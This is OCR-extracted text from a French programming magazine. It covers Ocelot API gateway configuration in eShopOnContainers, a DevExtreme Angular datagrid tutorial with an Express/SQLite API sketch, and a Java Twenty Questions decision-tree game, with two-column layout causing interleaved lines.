5ième dossier nommé ApiGw-Base. Ce
dossier contient le projet ASP.NET Core Configurer Ocelot
OcelotApiGw utilisé pour créer une Dans l’application eShopOnContainers, la configuration d’Ocelot se fait grâce
image Docker de passerelle générique de au fichier configuration.json présent dans chacun des 4 dossiers des BFF
base à l’origine de 4 conteneurs Docker comme le montre la figure ci-dessous :
correspondant aux 4 BFF. Ce projet réfé-
rence la dépendance à Ocelot et contient
tout le code nécessaire à l’initialisation
d’une passerelle. Pour créer 4 conteneurs
de BFF différents, le fichier configura-
tion.json (nous reviendrons sur ce fichier
dans le prochain paragraphe) présent
dans chaque dossier de BFF est fourni via
un volume Docker (voir par exemple le
fichier docker-compose.override.yml ou le
fichier docker-compose.prod.yml) à la passerelle générique comme le montre
la figure ci-dessous :

Dans chaque fichier configuration.json, il existe deux tableaux de configura-


tion indispensables à Ocelot nommés respectivement ReRoutes et GlobalCon-
figuration :
• Le tableau ReRoutes permet de définir les règles de routage des requêtes qui
entrent par la passerelle ;
• Le tableau GlobalConfiguration contient comme son nom l’indique des para-
mètres de configuration qui s’appliquent à l’ensemble de la passerelle d'API.
Dans le projet ApiGw-Base, le fichier Startup.cs contient dans la méthode Pour que la configuration d’Ocelot soit prise en compte par l’application, le
Configure une ligne de code spécifique de manière à ce qu’Ocelot soit utilisé fichier Program.cs du projet OcelotApiGw contient une ligne qui donne en
dans le pipeline des requêtes HTTP comme le montre la figure ci-dessous au référence au builder ce fichier comme le montre la figure ci-dessous au niveau
niveau de l’encadré rouge : de l’encadré rouge :

Dans la suite, nous allons voir des exemples précis de configurations en


prenant le BFF Shopping pour le web.

EXEMPLE DU BFF SHOPPING


De la même façon, le fichier Startup.cs contient dans la méthode Configure- POUR LE WEB
Services une ligne spécifique qui permet de configurer Ocelot comme le Pour comprendre comment est configuré Ocelot dans l’application eShopOn-
montre la figure ci-dessous au niveau de l’encadré rouge : Containers, nous allons prendre en exemple le BFF Shopping pour le web. Ainsi
nous allons voir comment définir une règle de routage, mettre en place l’au-
thentification et agréger des requêtes. Tous les exemples donnés sont issus du
fichier configuration.json situé à l’intérieur du dossier Web.Bff.Shopping des
sources de l’application.
Définition d’une règle de routage
Avec Ocelot, la définition d’une règle de routage repose toujours le même prin-
cipe : il faut définir un template d’URL associé à une ou plusieurs routes. Si

programmez.com// 47
.NET
l’URL d’une requête correspond à l’une des définitions, alors la règle de routa- Agrégation des données
ge correspondante est appliquée. Ocelot possède une fonctionnalité d’agrégation qui n’est pourtant pas utilisée
La figure ci-dessous montre un exemple simple de règle de routage : ici. La raison de ce choix est très simple : Ocelot ne propose qu’un mécanisme
d'agrégation basique consistant à appeler plusieurs API sous-jacentes et
fusionner leur réponse respective dans un seul objet JSON en sortie. Aussi pour
plus de flexibilité, il est souvent préférable de passer par du code personnalisé
pour faire l’agrégation de plusieurs requêtes.
En examinant le contenu du dossier Web.Bff.Shopping, nous pouvons voir que
celui-ci contient en plus du fichier configuration.json nécessaire à Ocelot, un
projet ASP.NET Core nommé Web.Shopping.HttpAggregator comme le
montre la figure ci-dessous dans l’encadré rouge :

Les valeurs des clés UpstreamPathTemplate et UpstreamHttpMethod" nous


indique qu’une requête GET émise avec une URL conforme au template
Comme son nom l’indique, le projet
/api/{version}/c/{everything} est redirigée vers une API du microservice de ges-
Web.Shopping.HttpAggregator per-
tion du catalogue. La définition de cette API est spécifiée dans les valeurs asso-
met de faire l'agrégation de plusieurs
ciées aux clés DownstreamPathTemplate, DownstreamScheme et
requêtes L’utilisation des API d’agré-
DownstreamHostAndPorts. Souvent, le tableau associé à la clé Downstream-
gation se fait lorsqu’une application
HostAndPorts contient un seul élément. Renseigner plusieurs éléments dans
cliente a besoin d’afficher, de créer ou
ce tableau permet de faire du load balancing entre plusieurs services.
de mettre à jour des données issues
de différents microservices. Pour ce
Authentification
faire des contrôleurs d’API sont res-
Le support de l’authentification dans Ocelot permet de protéger l’accès des
ponsables de la composition des
routes qui ne doivent pas être accessibles aux clients non authentifiés. Pour ce
requêtes nécessaires. L’extrait de code
faire, il est nécessaire d'enregistrer un fournisseur d’authentification identifié
ci-dessous montre comment obtenir
par une clé.
des données issues du microservice de
Dans l’extrait de code ci-dessous, la méthode ConfigureServices du fichier
gestion du panier et du microservice
Startup.cs contient l’enregistrement d’un fournisseur d’authentification asso-
de gestion des commandes pour
ciée à une clé nommée IdentityApiKey.
générer les données d’une comman-
de à partir du panier :

Par la suite, cette clé IdentityApiKey est utilisée dans le fichier de configuration
d’Ocelot pour spécifier la valeur de la clé AuthenticationOptions.Authentica-
tionProviderKey. Il est également possible de restreindre l'accès à une route en
fonction d'un ou plusieurs scopes rattachés à l'utilisateur en renseignant la
valeur de la clé AuthenticationOptions.AllowedScopes à l’aide d’un tableau
contenant le(s) scope(s). Dans cet exemple le tableau est vide donc il n’y a pas
de restriction d'accès en fonction du scope.

Ensuite, il ne reste plus qu’à écrire les règles de routage nécessaires dans le
Pour l’authentification, Ocelot vérifie qu’un fournisseur d’identité est bien asso- fichier de configuration pour Ocelot pour rediriger les requêtes qui nécessitent
cié à la clé fournie. Si tel est le cas, la réponse fournie par le middleware d’au- l’agrégation de données par des API d’agrégation. L’extrait de code ci-dessous
thentification est utilisée pour permettre l’accès lors du routage ou retourner un montre la définition de la règle de routage vers l'API d'agrégation montrée pré-
code de statut HTTP avec la valeur 401. cédemment dans le fichier configuration.json du BFF Shopping pour le web :

48 //programmez.com
.NET
un type d’application cliente et les API sous-jacentes tout en permettant de
faire de l'agrégation de données.
Toutefois, si vous décidez de mettre en oeuvre une passerelle d’API, vous ne
devez pas négliger un certain nombre de points par exemple :
• Une passerelle d’API représente un Single Point Of Failure potentiel pour
toutes les requêtes qui passent par celle-ci.
• De la même façon, une passerelle d’API ne doit pas devenir un goulot
d’étranglement lorsque le nombre de requêtes devient important. La mise à
l’échelle d’une passerelle d’API est donc un point fondamental.
• L’implémentation de code personnalisé pour gérer l’agrégation de requêtes
génère des coûts de développement et une maintenance supplémentaire.
API GATEWAY VS API MANAGEMENT
Les notions d’API Gateway et d’API Management sont parfois confondues Pour aller plus loin
dans les discussions. Pourtant, il est important de faire la distinction entre ces .NET Microservices : Architecture for Contenainerized .NET Applications
termes. De façon générale, une solution d’API Management offre toutes les https://docs.microsoft.com/fr-fr/dotnet/architecture/microservices/index
fonctionnalités d’une passerelle d’API plus des fonctionnalités permettant Architecturing Cloud-Native .NET Apps for Azure
entre autres choses de : https://docs.microsoft.com/fr-fr/dotnet/architecture/cloud-native/
• Générer des statistiques d’usage des API ; Microservices From Design to Deployment
• Monitorer la performance des API ; https://www.nginx.com/resources/library/designing-deploying-microservices/
• Permettre la monétisation des API. Deploying NGINX Plus as an API Gateway
Dans le projet eShopOnContainers, la passerelle d’API implémentée avec Ocelot peut https://www.nginx.com/resources/library/nginx-api-gateway-deployment/
être remplacée par Azure API Management comme le montre la figure ci-dessous :

Ma vision du cloud
Keelan CLECH
National Business Developer - Cloud
Sogeti France
[email protected]

« Le Cloud computing a énormément évolué cette dernière décennie et


ne se contente plus, bien heureusement, de proposer une simple
approche IaaS (Infrastructure as a Service). Les cloud providers ont
compris que la valeur ne se situait pas au niveau du device mais au-
dessus de ce dernier en proposant de vrais services à valeur ajoutée.
Ces derniers permettent de réduire le TTM (Time To Market) tout en
optimisant le coût d’exploitation, pour peu que les architectes en char-
Avec Azure API Management, les API exposées par les différents microservices

ge des développements respectent les bonnes pratiques et utilisent


du back-end sont publiées pour des clients internes ou externes à l’entreprise à

finement les leviers d’optimisation. C’est la promesse du PaaS (Plat-


travers le composant API Gateway.

form as a Service), du CaaS (Container as a Service) et autre FaaS


Le portail Développeur liste et documente les API gérées par Azure API Mana-

(Function as a Service).
gement. Il fournit également une console interactive pour tester les API. Les

Qui dit nouvelle plateforme dit nouvelle architecture. Nous avons


développeurs utilisent ce portail pour créer un compte d’accès et récupérer des

ainsi vu apparaître les microservices, architecture permettant de se


clés de souscription pour accéder aux API.

séparer des applications plus ou moins monolithiques pour offrir à la


Dans Azure API Management, le portail Azure permet d’administrer les API en

place un ensemble de petites fonctionnalités (services), indépendantes


définissant par exemple les schémas des API ou en groupant ces dernières sous

les unes des autres, interrogeables. Le principe est simple : 1 fonction-


forme de produits, tout en précisant les conditions pour pouvoir y souscrire.

nalité = 1 service (d’où le préfixe de micro), la communication se fai-


En synthèse, une solution d’API Gateway permet de faire un certain nombre

sant à l’aide d’un contrat d’API.


d’opérations sur les requêtes à destination du back-end tandis qu’une brique

Dans le monde Azure, 4 approches sont disponibles pour mettre en


d’API Management permet de gérer les API en tant que produit, et d’aller jus-

œuvre ces microservices :


qu’à monétiser ces dernières pour engendrer un revenu pour l’entreprise.

Service Fabric, AKS (Azure Kubernetes), Azure function ou encore la


solution d’API management.
Conclusion
Les Azure .Net Rangers vous proposent au travers de ce dossier d’étu-
L'utilisation des patterns API Gateway et Backend For Frontend est primordiale

dier votre première application architecturée autour des microser-


dans la mise en oeuvre d’un back-end basé sur un ensemble de microservices

vices hébergée dans des containers Docker sur la plateforme Azure de


(et/ou de services monolithiques). Une passerelle d’API permet de centraliser

Microsoft. Ceci afin de tirer également partie des bénéfices de déploie-


un certain nombre de problématiques récurrentes (authentification, autorisa-

ment, scalabilité et contrôle des coûts apportés par cette solution.»


tion, cache de données, agrégation, etc.) pour accéder à des API.
Utiliser une passerelle d’API comme BFF permet d'établir des API claires entre

programmez.com// 49
COMPOSANTS
Guillaume Saint Romas
Expert technique
Partie 1

DevExtreme : une suite de composants à adopter


de toute urgence pour développer des web apps
Lors d’un nouveau projet de développement logiciel sur client léger, il est fréquent de recourir à des librairies d’éléments com-
plets, évolutifs et personnalisables afin d’accroître la rentabilité en accélérant le temps en recherche et développement. Nous
ne sommes jamais à l’abri de choisir un outil qui ne sera pas pérenne face aux évolutions et qui se fera oublier s’il n’évolue
pas au rythme des exigences métiers. Je vous propose de découvrir DevExtreme, une suite de composants JavaScript et
HTML5, plusieurs fois élue meilleure suite de composants multiplateformes.

D
evExtreme s’installe facilement au travers de distribution de Cette suite de composants est libre d’accès et d’usage à des fins
niveau « packages » bien connus tels que npm, Bower, NuGet ou non-commerciales et propose une solution complète payante pour

200 tout simplement en téléchargeant un installeur, une archive


depuis leur site internet.
Utilisant DevExtreme sous Angular, je travaille essentiellement en
un usage commercial comprenant le « Theme Builder » ainsi que
12 mois de mise à jour et de support (une version complète avec
option de support prioritaire en sus est également disponible).
Typescript sous Visual Studio Code, mais n’importe quel IDE La licence commerciale de DevExtreme permet de distribuer des
s’adapterait très bien à cette solution qui est très bien documentée applications libres de droit construites au travers de ces compo-
et typée, ce qui permet par exemple une lecture aisée de ces com- sants, même une fois l’abonnement expiré. Cette licence peut être
posants ainsi qu’une autocomplétion. renouvelée pour 12 mois supplémentaires avec une réduction d’en-
Les fonctionnalités web de cette librairie sont développées afin viron 40% si son prolongement est acté dans le mois suivant sa
d’être utilisées sur quasi tout navigateur, et d’expérience, travaillant péremption. Cette licence est à attribuer à chacun des dévelop-
sur des navigateurs récents, je n’ai jamais rencontré de problème peurs de l’équipe de développement travaillant avec cette suite de
lié à la compatibilité. � composants. Elle est cessible entre développeurs et existe en tarifs
De plus, les débogueurs de ces navigateurs permettent, comme préférentiels pour des achats par lots.
pour toute application web, de dérouler pas à pas le code afin de
maîtriser au mieux ses réalisations applicatives. Toutefois, il peut Les fonctionnalités de DevExtreme
être assez ardu au début de saisir la logique d’une librairie aussi DevExtreme propose une collection complète de plus de 65 com-
complète que DevExtreme. C’est pourquoi en plus de pages de posants UI pour web apps et applications mobiles tels que les
démonstration multi-langages sur le site de l’éditeur, des pages de « Datagrid », « Charts » et « Forms ». Très réactifs et performants,
documentation dynamique sont associées aux exemples de ces éléments applicatifs sont couramment utilisés en informatique
démonstration. Un centre de support via un forum d’aide est éga- de gestion et informatique industrielle.
lement disponible. Et si vous optez pour une version commerciale,
un support technique (avec accès prioritaire en option) vous suivra
pour le temps de votre abonnement. �

� Compatibilité des navigateurs.


� Centre du support de DevExtreme avec tickets classé par technologies, etc.
50 //programmez.com
COMPOSANTS

Vous pourrez rapidement élaborer une application web, de sa Exemple par la pratique
structure HTML responsive conçue au travers de plusieurs thèmes Voyons l’usage de cette solution autour d’un exemple développé en
(il est possible d’exporter, d’importer, d’éditer et/ou de surcharger Angular avec Typescript et basé sur la création de quelques com-
vos styles et thèmes avec le « Theme Builder »), en passant par une posants : un système de notification « Notify » permettant d’indi-
série de composants faciles à mettre en place, comme une grille de quer les actions, une Datagrid* « DxDatagrid » simple avec filtres,
données paginée avec un système de recherche avancée et d’ex- une pagination et une Toolbar* présentant un bouton de mise à
port des éléments remontés. zéro des filtres en sus. Pour pointer de la souris l’aspect personna-
Pour prendre en main ces différents widgets, chaque composant lisable de la suite DevExtreme, nous surchargerons la dernière
est présenté sur le site de l’éditeur au travers d’exemples tous modi- colonne de cette Datagrid en y ajoutant, à travers un template de
fiables et testables dynamiquement avec plus de 250 cas d'utilisa- cellule, un composant de bouton « DxButton » ouvrant un popup
tion dans différents langages de programmation. La solution est « DxPopup » (laissé par défaut pour l’exemple) sur l’évènement
facile et rapide à assimiler car chaque composant se déclare et se « click » de ce bouton.
personnalise de la même manière. Une fois cette logique acquise,
on gagne un temps précieux dans l’implémentation et l’utilisation
des composants au sein de l’applicatif web développé. � �
��

Multiplateformes
Que vous développez sous Angular avec Typescript, en JavaScript
avec jQuery, ou encore ASP.net, DevExtreme propose les mêmes
fonctionnalités. �

� Les grandes catégories des composants de DevExtreme. � ThemeBuilder passé sous le thème Material Lime Dark.


� Le ThemeBuilder présente les éléments de DevExtreme pour éditer leur style CSS.

� Le ThemeBuilder propose tout un jeu de styles communs en vogue tel que Material. � Aperçu de l'exemple de Datagrid réalisée avec DevExtreme.

programmez.com// 51
COMPOSANTS

Aperçu d’une Datagrid simple � statique sans One-way binding. On peut aussi renseigner directe-
Cette Datagrid est l’expression d’une Datasource simple présentant ment la valeur attendue ; c’est le cas de l’attribut « visible » du dx-
une liste d’enregistrements de l’objet ExampleData créé pour l’occasion. button présenté. A noter que cette valeur typée « boolean » sera
prise en compte avec One-way binding. De plus, valorisé à ‘true’,
let data : ExampleData [] = cet attribut « visible » n’a d’intérêt que la sémantique de l’exemple,
[ du fait que sa valeur par défaut est fixée à ‘true’ par DevExtreme,
{id : 1, name : "Dx Radio", status : "todo", custom : true}, et que nous ne souhaitons pas masquer dynamiquement ce bou-
{id : 2, name : "Dx datagrid", status : "error", custom : true}, ton.
{id : 3, name : "Dx popup", status : "done", custom : false}, Il est même possible de passer par une approche jQuery qui initia-
{id : 4, name : "Dx button", status : "warning", custom : true}, lisera un objet « Dx » au moyen d’une configuration prise en charge
{id : 5, name : "Dx form", status : "in progress", custom : false}, par la directive. Pratique pour éditer et sauvegarder une configura-
{id : 6, name : "Dx Text", status : "done", custom : true} tion du composant à partir d’un « json » sérialisé en base de don-
]; nées ou en variable de session.
Figure 9: Liste d'objets ExampleData.
Définition de la Datagrid dans la vue
export class ExampleData {
<!-- Datagrid with toolbar and custom column -->
id: number;
<dx-data-grid #datagrid [dataSource]="dataSource"
name: string;
(onToolbarPreparing)="toolbarPreparing($event)">
status: string;
Figure 12 : Déclaration de la Datagrid dans la vue.
custom: boolean;
} • La datagrid peut se définir par défaut juste par son tag.
Figure 10: ExampleData typing • La datasource est liée au controller.

Les composants DevExtreme en détail On définit l’appel à la methode « toolbarPeraring() » durant l’évè-
Pour notre exemple, nous développons sous Angular avec nement « onToolbarPreparing » déclenché par le composant.
Typescript, les composants DevExtreme préfixés « DX », rapidement
mis en place si on est familiarisé avec les concepts de base et les <!-- Header Filtering. -->
modèles d’Angular : <dxo-filter-row visible="true"></dxo-filter-row>
Figure 13 : Activation des filtres Datagrid par simple attribut "visible".
<dx-button • On déclare les filtres.
type="default"
[disabled]="data.value" Chaque composant possède de nombreux évènements permettant toute
une série d’actions.
text="label of button"
[visible]="true" <!-- Pagination. -->
(onClick)="click($event, data)"> <dxo-paging [pageSize]="3" [pageIndex]="0"
</dx-button> [enabled]="true"></dxo-paging>
Figure 11 : "dx-button" directives Angular. <dxo-pager [allowedPageSizes]="[3, 6, 10, 25]"
[visible]="false" [showPageSizeSelector]="true"
Dans ce bout de code, nous retrouvons une notion d’Angular [showNavigationButtons]="true" [showInfo]="true"></dxo-pager>
concernant les liaisons d’un attribut ou d’un évènement au moyen Figure 14 : Configuration de la pagination.
d’une syntaxe :
- [] pour les attributs, class, interpolation… « One-Way Option • On paramètre la pagination.
Binding » : « From the source-to-view » • On spécifie les outils de navigation de cette pagination.
- () pour les évènements « One-way from view target to data
source » <!-- Columns -->
- [()] ou encore le « Two-Way Option Binding »« Two-way sequence: <dxi-column dataField="id" caption="ID#" [visible]="true"
view-to-source-to-view » width="50" alignment="center"></dxi-column>
<dxi-column dataField="name" caption="Name" visible="true"
Dans cette directive, nous aurions pu envisager de déclarer toutes width="150"></dxi-column>
les variables de ces attributs dans le Controller de la Single Page <dxi-column dataField="status" caption="Status" visible="true"
Application (SPA) et de les lier avec la syntaxe [attr]= «variable width="100" alignment="center"></dxi-column>
public» proposée par Angular. <dxi-column dataField="custom" caption="Custom"
L’intérêt de cette approche réside dans le proverbe « qui peut le cellTemplate="cellTemplate" [allowFiltering]="false"
plus, peut le moins » : en effet on peut opter pour une approche [allowSorting]="false" alignment="center"
moins dynamique avec une valeur statique comme ici pour l’attri- width="150"></dxi-column>
but « text », l’attribut typé « string » qui peut prendre une valeur Figure 15 : Déclaration des colonnes de la Datagrid.

52 //programmez.com
COMPOSANTS

• On déclare les colonnes de la Datagrid. On peut choisir de les // Event DevExtreme during the datagrid’s toolbar building
laisser par défaut, de les restreindre ou de les personnaliser. private toolbarPreparing(event: Event) {
• Tous les élements de configuration sont listés et présentés en // we get back the list of DxToolbarComponent.items instance
détail dans la documentation de DevExtreme. const toolbarItems: DxToolbarComponent.items = event.toolbarOptions.items;
• Sur la dernière colonne nommée « custom », nous avons défini // jQuery typical form
un template de cellule dans l’attribut « cellTemplate ». // we add a DxButton widget in toolbar by passing a configuration object
toolbarItemsref.push(this.reshBtnToolbar);
<!-- Custom Column with template for the last column above --> // We can edit the properties them as we wish from the moment
<div *dxTemplate="let data of 'cellTemplate'"> // we get back the DxToolbarComponent.items instance
<!-- In the last column of the datagrid we add an action button --> toolbarItems.forEach(
<dx-button type="default" [disabled]="data?.value" text="label of button" // for each toolbar item we change the location at « before »
(onClick)="click($event, data)"></dx-button> (item: DxToolbarComponent.items): void => {
</div> item.location = "before";
});
</dx-data-grid> }
Figure 16 : Surcharge de la dernière colonne avec un template personnalisé. Figure 18 : Ajout d'éléments lors de l'évènement de préparation de la toolbar.

• Au sein du « dx-data-grid » nous déclarons le template html • Il est alors facile d’ajouter aux items de la toolbar le widget confi-
cellTemplate en y ajoutant tout ce dont nous avons besoin. guré ci-dessus, par une simple méthode « push ».
• Dans notre exemple nous rajoutons un composant DevExtreme : • La boucle « forEach » développée ci-contre permet de cibler les
le « dx-button ». actions de personnalisation et de contrôle que nous avons dans
• Nous le configurons de manière à le desactiver en fonction d’une tous les composants. En effet, dans cet exemple nous parcourons
valeur spécifique à l’occurrence de l’objet « ExampleData », un tous les items présents dans la toolbar et nous en changeons
texte, un type, et on y lie une méthode sur l’évènement « Click ». leurs « location ».

Petit tour côté controller @ViewChild("datagrid", { static: false }) _datagrid: DxDataGridComponent;


• Pour plus de visibilité, nous déclarons une variable
refreshBtnToolbar en dehors de l’évènement « toolbarPreparing ». private ClearRefreshAction (event: Event) {
• Les items de Toolbar sont configurés avec : // Notify
- Une location afin de choisir son emplacement ; notify({
- Un widget permettant de lui donner la nature du composant message: `Click on the toolbar button "Clear & Reload" triggered!`,
DevExtreme à utiliser ; type: "success",
- Un objet « options » regroupant la configuration du composant position: { at: "center", my: "center", offset: "0 52" },
défini dans le widget. width: 250, duration: 500
});
// DxButton widget with composant configuration in options // Event Clear filter action
public refreshBtnToolbar: DxToolbarComponent.items = { this._datagrid.instance.clearFilter();
location: "after", // Reload Datagrid
widget: "dxButton", this._datagrid.dataSource = this.dataSource;
locateInMenu: "auto", this._datagrid.instance.getDataSource().reload();
options: { }
icon: "pulldown", Figure 19 : Action de suppression des filtres et rechargement.
hint: "Clear & Reload",
onClick: (e: Event): void => this.ClearRefreshAction(e) • A cet élément bouton, nous avons ajouté l’appel à la méthode
} « ClearRefreshAction() » sur l’évènement « Click ».
}; • Le paramètre d’évènement passé en argument de la méthode
Figure 17 : Exemple DxButton comme widget d'une Toolbar. peut nous permettre de récupérer l’instance du DxButton au
besoin.
Lors de la construction de la Datagrid, on peut intervenir à diffé- • L’instance de la Datagrid est récupérée au moyen du
rents moments (création des lignes, des cellules, de la barre d’ou- @ViewChild proposé par Angular. A noter qu’avec une approche
tils…). jQuery nous aurions pu récupérer l’instance de cette manière :
• L’évènement toolbarPreparing permet d’éditer cette toolbar.
$("#dataGridContainer").dxDataGrid("instance")
• En récupérant « event » passé par cet évènement, nous pouvons
manipuler l’instance de l’objet « DxToolbarComponent » et ainsi • Pour effacer les filtres et recharger la Datagrid, il suffit de se lais-
en éditer ses items. ser guider. Toutes les méthodes sont déjà développées pour le
composant.

programmez.com// 53
COMPOSANTS

Voyons maintenant de plus près un composant régulièrement utili- des technologies s’est porté autour d’une base de données SQLite
sé : le « popup ». et du Framework express afin de tout configurer simplement au tra-
Il se configure directement depuis la vue sans passer par le control- vers d’un script JavaScript (js) pour Node.
ler. Nous voyons dans cet extrait que la configuration est très acces- Ainsi, en quelques lignes de scripts nous allons créer notre modèle
sible, la simple lecture de sa déclaration se suffit à elle-même pour de données ci-dessus « ExampleData » dans une base de données
imaginer le rendu que nous obtiendrons. et implémenter les méthodes CRUD nous permettant par la suite
de créer (Create), lire (Read), modifier (Update) et supprimer
<dx-popup (Delete) les données de notre table « ExampleData ». Express met-
[width]="260" [height]="240" [showTitle]="true" [title]="currentRow.name" tra à disposition sur le port 3000 de notre localhost les méthodes
[dragEnabled]="false" [closeOnOutsideClick]="true" [(visible)]="popupVisible" d’actions CRUD développées.
(onShown)="shown($event)">
<div *dxTemplate="let data of 'content'"> Let db = new sqlite3.Database('exampleData.db');
<div class="popup-property-details"> let restapi = express();
<pre>{{ currentRow | json }}</pre>
</div> // Configure express server
</div> // And Creation DB with data
</dx-popup> […]
Figure 20 : Déclaration d'une DxPopup basique dans la Vue.
//#region API | CRUD Actions
• L’attribut « visible » est défini comme « Two-Way Option Binding » afin /** CREATE */
que la variable « popupVisible » puisse renseigner l’état du popup. restapi.post("/add", (req, res) => { … });
• La méthode « shown() » est définie pour l’évènement « onShown » /** READ */
déclenché à l’ouverture du popup. Dans cet exemple, cette restapi.get('/all', (req, res) => { … });
méthode permet l’affichage d’une notification DevExtreme. /** UPDATE */
restapi.put("/upd/:id", (req, res) => { … });
• Dans ce popup, nous /** Delete */
affichons l’objet restapi.delete("/del/:id", (req, res) => {
« ExampleData » de la const itemId = req.params.id;
ligne cliquée. console.log("Delete item with id: ", itemId);
• La notification définie à // Delete item
l’ouverture de celle-ci db.run('DELETE FROM exampleData WHERE id = $id', { $id: itemId });
apparaît en affichant le });
champ name de ce dit //#endregion API | CRUD Actions
objet. Figure 21 : Aperçu succinct des méthode API en expressJS.

Pour aller plus loin


Je vous propose d’aller plus dans le détail dans la configuration du
composant « Datagrid » en vous présentant l’utilisation d’une
« Datasource » en lien direct avec son API, et plus précisément de
l’objet typé « CustomStore » configurant les actions CRUD pour
une communication automatique avec sa base de données. Pour
l’exercice, nous ajouterons un moteur de base de données ainsi
qu’un micro-framework pour les actions API avec les packages
npm respectifs sqlite3 et express. Reprenons notre modèle de
données précédant « ExampleData » et modifions très légèrement
la vue HTML de l’exemple de la « Datagrid » ci-dessus.
Figure 22 : Aperçu de notre base de données "ExampleData".

Création de la base
de données et
développement de l’API
Dans cet exemple, nous ne détaillons
pas tous les aspects de la création d’une base de données (BDD) Figure 23 : Schéma de la table "ExampleData".
et de son interface de programmation applicative (API). Le choix La suite de cet article dans le prochain numéro

54 //programmez.com
Sylvain Saurel JAVA
[email protected]
Développeur Java / Android
http://www.ssaurel.com

Recréez le jeu des 20 Questions en Java


Originaire des États-Unis et largement joué au XIXe siècle, le jeu des 20 Questions, plus connu sous le nom de "Twenty Ques-
tions Game" dans la langue de Shakespeare, est un jeu de société oral qui encourage le raisonnement déductif et la créativité.
Dans cet article, nous allons voir comment recréer ce fameux jeu des 20 Questions en Java.

niveau
L
es règles du jeu des 20 Questions sont assez simples. Au
début du jeu, un joueur est choisi pour répondre. Cette per-
sonne choisit un objet ou un animal mais ne le révèle pas aux
autres. L'autre joueur est celui qui pose les questions. Il pose des
questions auxquelles on peut répondre par un simple "Oui" ou
200
"Non". Voici des exemples de questions : "Peut-il voler ?" ou "Vit-il
parfois dans l'eau ?". Si la personne posant les questions devine la
bonne réponse avant de poser 20 questions, il gagne. Sinon, s'il
pose 20 questions sans deviner correctement, la personne ayant
pensé à un objet ou à une chose l'a laissé sans réponse et il a donc
gagné.
Récemment, le jeu Français Akinator a repris le concept original du �
jeu des 20 Questions et l'a adapté avec succès aux smartphones Représentation des questions sous forme d'un Arbre de décision.
Android et iOS. Mieux encore, la version du jeu d'Akinator est plus
complexe puisque la réponse "Peut-être" est autorisée en plus des
simples "Oui" et "Non" du jeu original. package com.ssaurel.twentyquestions;
Pour notre implémentation, nous nous contenterons du jeu original
avec les réponses simples "Oui" et "Non" et nous ne limiterons pas // Modélisation de l'arbre de décision pour le jeu des 20 Questions
le nombre de questions à 20 pour donner plus de chances à l'ordi- public class TreeNode {
nateur, qui jouera le rôle du questionneur, de trouver l'objet auquel
le joueur va penser. Pour rendre notre jeu des 20 Questions plus at- // Les noeuds sont de type réponse ou question
tractif, nous utiliserons enfin une interface utilisateur construite enum Type {
avec l’API Swing. ANSWER, QUESTION
}
Représentation sous forme d’Arbre
Notre jeu sera basé sur un arbre contenant des questions avec des public static final String QUESTION_FLAG = "Q:";
réponses simples "Oui" et "Non". Nous serons donc en présence public static final String ANSWER_FLAG = "A:";
d'un arbre binaire. Notre arborescence aura des noeuds représen- public String data;
tés par la classe TreeNode. Chaque nœud pouvant être une public Type type;
Question ou une Réponse. Nous utiliserons un enum Type pour // Si un noeud est de type question, il a 2 enfants : un pour le Oui et un pour le Non
représenter cela. Chaque noeud stocke une chaîne de caractères et public TreeNode yes;
peut avoir deux enfants : une instance TreeNode pour le Oui et une public TreeNode no;
instance TreeNode pour le non. Évidemment, si le TreeNode est
une réponse, il n'aura pas d'enfants. � public TreeNode() {
L'arbre de décision contenant les questions sera chargé à partir }
d'un fichier brut. Chaque ligne représentant une question commen-
ce par la chaîne de caractères "Q :" et chaque ligne représentant public TreeNode(String data, Type type) {
une réponse commence par la chaîne de caractères "A :". Ainsi, this.data = data;
nous devons ajouter deux constantes dans notre TreeNode et this.type = type;
lorsque nous définirons les données de l'objet TreeNode, nous }
déterminerons le type du TreeNode en fonction de cet indicateur.
Cela nous donne le code suivant pour notre objet TreeNode : public boolean isQuestion() {
return Type.QUESTION.equals(type);
}

programmez.com// 55
JAVA
import java.io.File;
public void setData(String data) { import java.io.FileReader;
type = Type.QUESTION;
// Représentation de l'objet Tree pour le jeu des 20 Questions
if (data.startsWith(ANSWER_FLAG)) { public class Tree {
type = Type.ANSWER;
} public TreeNode root; // Racine de l'arbre

this.data = data.substring(2); // on retire le flag de la donnée stockée dans le noeud public Tree() {
} root = new TreeNode();
}
public void addYes(TreeNode yes) {
this.yes = yes; // Méthode de chargement des données depuis un fichier de données
} public void loadTree(String filename) {
File file = new File(filename);
public void addNo(TreeNode no) { FileReader fileReader = null;
this.no = no; BufferedReader buf = null;
}
} try {
fileReader = new FileReader(file);
Chargement des données dans notre buf = new BufferedReader(fileReader);
Arbre de décision buildTree(root, buf);
La partie la plus importante du jeu des 20 Questions est probable- } catch (Exception e) {
ment d'avoir un arbre de décision contenant d’excellentes ques- System.out.println("Erreur durant la construction de l'arbre : " + e.getMessage());
tions et réponses. Il fera la différence et permettra à notre ordina- } finally {
teur de trouver rapidement l'objet pensé par l'utilisateur. Pour try {
rendre notre programme plus flexible et réutilisable, les données if (fileReader != null) {
seront chargées à partir d'un fichier texte brut. De cette façon, il fileReader.close();
sera facile d'étendre notre jeu de 20 questions pour permettre aux }
utilisateurs de charger de nouvelles données avec leurs propres
arbres de décision. if (buf != null) {
Les données sont stockées dans le fichier brut en utilisant un algo- buf.close();
rithme de parcours en largeur. Il est important de connaître ces }
informations pour la méthode de chargement que nous écrirons } catch (Exception e) {
dans notre classe Tree. La classe Tree possède une propriété racine }
de type TreeNode. Nous définissons une méthode loadTree prenant }
en paramètre le nom d'un fichier brut contenant les données de }
l'arbre de décision.
Nous ouvrons le fichier et nous appelons une méthode buildTree avec // Méthode récursive de construction de l'arbre
la racine en paramètre et une instance de la classe BufferedReader private void buildTree(TreeNode currentNode, BufferedReader buf) throws Exception {
qui est utilisée pour lire le fichier ligne par ligne. Lorsque nous lisons String line = buf.readLine();
une ligne, nous effectuons les actions suivantes :
• Définir les données pour le noeud courant ; if (line != null) {
• Si le noeud courant est de type question : currentNode.setData(line);
- Créer 2 enfants respectivement un pour le Oui et un autre pour
le Non sous la forme d’objets TreeNode ; if (currentNode.isQuestion()) {
- Définir ces noeuds comme enfants du noeud courant ; TreeNode yesNode = new TreeNode();
- Appel récursif de la méthode buildTree afin de construire le TreeNode noNode = new TreeNode();
sous-arbre côté Oui à partir du fichier de données ; currentNode.yes = yesNode;
- Appel récursif de la méthode buildTree afin de construire le currentNode.no = noNode;
sous-arbre côté Non à partir du fichier de données. buildTree(yesNode, buf);
Cela nous donne l’implémentation suivante pour la classe Tree : buildTree(noNode, buf);
}
